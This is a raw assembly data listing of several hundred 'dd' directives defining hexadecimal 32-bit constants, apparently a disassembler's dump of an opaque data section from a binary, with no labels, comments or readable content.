dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h
dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h
dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh
dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h
dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h
dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh
dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h
dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch
dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h
dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h
dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh
dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah, 0B6A28304h
dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch, 25FA453Bh
dd 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh, 50176655h
dd 19458940h, 0B70FF200h, 33310308h, 0E94300CCh, 3A3B0A60h
dd 741E3546h, 36000E67h, 261F0954h, 0A03F0095h, 4F665001h
dd 0B008102h, 0A6F2B752h, 3032FA53h, 755E0D45h, 0A9076241h
dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h
dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h
dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h, 530DE1FFh
dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh
dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h
dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h
dd 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h, 3C65BE58h
dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h
dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h
dd 52C77853h, 0F854ECh, 50908603h, 4D07E924h, 83376400h
dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h, 0A8FEA973h
dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h
dd 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h, 1AE04A30h
dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h
dd 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h, 7C8014BFh
dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh
dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh
dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h
dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h, 121760E4h
dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h, 344380A5h
dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h
dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h, 13399Fh
dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh, 58619E11h
dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h
dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh
dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h, 0FA16E98Ah
dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh
dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
dd 1876B3F6h, 4F07F400h
dd 8A05C283h, 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh
dd 0F1450B0h, 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h
dd 0FAB04975h, 0D1C680h, 83740567h, 724FBA68h, 0F021D605h
dd 0F780753Bh, 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h
dd 0D241652Ah, 478100EFh, 17C5625h, 6800625Bh, 12F03918h
dd 1DBDDA1Ch, 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh
dd 9EC75281h, 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h
dd 0FC1C400Bh, 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah
dd 0F4CF286Eh, 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh
dd 60553899h, 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h
dd 0C88FC743h, 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h
dd 4D786599h, 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh
dd 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh
dd 63760022h, 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h
dd 1F86D71h, 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h
dd 4980CDD8h, 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh
dd 5513B2ECh, 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h
dd 0CCB3DF01h, 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h
dd 54B34B33h, 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh
dd 71D3A009h, 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh
dd 0C71C6300h, 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h
dd 13B07E00h, 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h
dd 7EFDDA92h, 90C916h, 0D302D088h, 49F3D69Dh, 18000574h
dd 955B1C36h, 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h
dd 2894200h, 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h
dd 0FD45140h, 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h
dd 1F5888FDh, 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh
dd 0B948A2FFh, 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h
dd 39EE0200h, 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h
dd 3A00D845h, 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h
dd 3C00E340h, 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h
dd 4D7F0326h, 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h
dd 6F2A8066h, 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h
dd 8230014h, 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h
dd 1BAC2040h, 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h
dd 0A094C3C9h, 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h
dd 0C415BB86h, 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh
dd 0F1071EA8h, 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h
dd 83E9D5BEh, 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah
dd 48A0AC52h, 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h
dd 2B8E2699h, 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h
dd 0B2C4396h, 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh
dd 0A1575A00h, 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h
dd 127D600h, 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h
dd 0B376871Dh, 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh
dd 0B143A300h, 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h
dd 81430400h, 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h
dd 0D05C20F4h, 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h
dd 7A000BFCh, 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h
dd 3437BF1Fh, 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h
dd 90011D45h, 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh
dd 0FDC44BAFh, 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch
dd 96F809A4h, 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h
dd 0C6B055h, 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh
dd 517D0332h, 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h
dd 0A786007Bh, 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h
dd 0F7E88AFBh, 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh
dd 0E0DE9421h, 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh
dd 4A210075h, 20622464h, 97EA433Ch, 18850400h, 0B2557329h
dd 486A02F3h, 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h
dd 2AE10010h, 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h
dd 730E1F3Dh, 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h
dd 5E9F8Eh, 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h
dd 7B92004Fh, 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h
dd 89853F42h, 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh
dd 0EE4B609Bh, 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h
dd 3C9FFB5Bh, 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h
dd 87493800h, 50A28C91h, 907515h, 8041FAD2h, 406AF633h
dd 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h
dd 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h, 8108A023h
dd 4500503Eh, 27414C6h, 38F6B572h, 3CF069FCh, 24006AF0h
dd 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h, 90136574h
dd 72D9008Dh, 841464DBh, 0EB730C62h, 7839F602h, 6031B849h
dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h
dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h
dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h
dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh, 0AA406982h
dd 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h, 31FC020Eh
dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h
dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h
dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh
dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h
dd 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h
dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h
dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h
dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h
dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch
dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh
dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah
dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h
dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh
dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh
dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h
dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h
dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh, 80093AF4h
dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h
dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah
dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h
dd 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h, 0DFBCBA95h
dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h
dd 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h, 1E6D799Fh
dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h, 0DE8CADh
dd 258B5967h, 0CBEFB91h
dd 5021C607h, 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h
dd 0D5C5876Bh, 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh
dd 10E87349h, 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh
dd 0A8F355D3h, 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh
dd 4F1A180h, 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h
dd 5F2664A2h, 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h
dd 30FC27Fh, 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h
dd 0F64A05BCh, 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h
dd 5A901E55h, 0EA484097h, 0CE223746h, 750058F4h, 196577EEh
dd 514B011h, 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h
dd 0EBE0176h, 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h
dd 0AD775304h, 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh
dd 0C715C663h, 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah
dd 0DA0333EAh, 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh
dd 1CE07567h, 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh
dd 268DD83Bh, 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h
dd 5C38591Eh, 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh
dd 645A0A94h, 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh
dd 0FEAA81C4h, 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h
dd 0A032D32Eh, 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h
dd 8D2B60FBh, 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh
dd 0A6B1EB70h, 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh
dd 6A138C23h, 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h
dd 53222A75h, 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h
dd 80D7B021h, 334CCD38h, 401100B1h, 742E120Ah, 94D80066h
dd 0E0F42201h, 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h
dd 0B2C9BF02h, 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h
dd 0E0D3220Fh, 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h
dd 4F9F6828h, 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h
dd 29EC4B35h, 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh
dd 7F319177h, 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h
dd 0F6035FF8h, 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h
dd 0A94210h, 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh
dd 2FFB9E03h, 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h
dd 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h
dd 0ABC48688h, 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h
dd 0B2BBFB92h, 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h
dd 7D540AFDh, 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch
dd 2CDF8900h, 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h
dd 59F46A00h, 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh
dd 0A0A11328h, 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h
dd 7890326h, 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h
dd 0DF29BF00h, 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h
dd 64394C9Eh, 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh
dd 48EE0Dh, 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h
dd 4CE36837h, 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h
dd 0C422B900h, 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh
dd 49792AC0h, 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh
dd 19074246h, 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh
dd 1EE83724h, 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h
dd 7CF04C9Ah, 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh
dd 0C01C4950h, 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h
dd 0BF69D852h, 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh
dd 4518F99Dh, 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh
dd 0DDD6F8E1h, 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h
dd 86CA3E62h, 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh
dd 9E008415h, 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h
dd 0D22E4F00h, 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h
dd 0C42A0800h, 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh
dd 26E83DD2h, 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh
dd 0E0E85A8Fh, 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h
dd 4B7AD2B1h, 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh
dd 80CE103Bh, 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h
dd 0CA535026h, 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h
dd 6A000AC8h, 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh
dd 0BD5EBFAAh, 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h
dd 0A06171Dh, 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h
dd 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh
dd 714FBh, 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch
dd 4A4800F7h, 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h
dd 0F05497h, 0B4517F52h, 38783644h, 324638h, 33D08B56h
dd 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h, 42F29007h
dd 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh, 7C75F7F0h
dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h
dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh
dd 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h
dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h
dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h
dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h
dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h
dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah
dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h
dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h
dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h
dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h
dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh
dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h
dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh
dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h
dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh
dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h
dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh
dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh
dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh
dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah
dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh
dd 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h, 8AEA0715h
dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h
dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h
dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h, 0ABF656Eh
dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh
dd 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h, 8074F83Fh
dd 0DC8265BEh, 0EDB71069h
dd 774BC0h, 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h
dd 7507846h, 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh
dd 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh
dd 1CB82EF1h, 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h
dd 0A5EE795Dh, 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h
dd 0E800244Ch, 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h
dd 49004423h, 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h
dd 2ACAD555h, 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h
dd 0BF366425h, 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh
dd 0EB007534h, 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h
dd 80CFAA00h, 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh
dd 0C8D6ADB2h, 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h
dd 0BFFE0156h, 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h
dd 0C3F43CE9h, 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h
dd 9BE842BBh, 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh
dd 0D9008275h, 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h
dd 5424D207h, 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h
dd 9FAB7200h, 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h
dd 89B62B00h, 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh
dd 0A84ACE00h, 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh
dd 0BC998EECh, 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h
dd 5DADC815h, 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h
dd 0FC0C8BA9h, 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h
dd 3D8F6F11h, 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah
dd 0DF05FE52h, 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh
dd 22261993h, 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h
dd 111F32E3h, 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh
dd 4E00A471h, 832019DFh, 79935145h, 0C0394B13h, 9216B691h
dd 60230400h, 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h
dd 5FEB2CF9h, 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh
dd 827C1CE8h, 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h
dd 132C010Bh, 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h
dd 0CC35C937h, 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h
dd 42F75Dh, 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h
dd 5F2400D5h, 39076010h, 50008402h, 56404D11h, 1E0A4218h
dd 8069EB68h, 1032C765h, 481DF259h, 3FC10C50h, 9D423541h
dd 54B5F0h, 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh
dd 0ABE80041h, 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h
dd 40487A40h, 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h
dd 7FBF60Eh, 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h
dd 0BF089916h, 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh
dd 0B2002A69h, 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h
dd 2032C175h, 6C013Eh, 29BCC951h, 78910868h, 3C960014h
dd 850D2833h, 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h
dd 5F13F516h, 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh
dd 0B01A37B2h, 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h
dd 296145E4h, 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h
dd 84AE0E7h, 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h
dd 88C59701h, 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh
dd 3F407DDCh, 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h
dd 58EC69F8h, 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h
dd 0BBB32927h, 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh
dd 7CEB8717h, 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh
dd 8DFCA54Bh, 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h
dd 4B8A2FF4h, 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h
dd 5DC62CBCh, 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh
dd 3B974014h, 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h
dd 0E0CF203h, 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h
dd 27BE3816h, 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch
dd 85EA1465h, 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h
dd 5706C00h, 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h
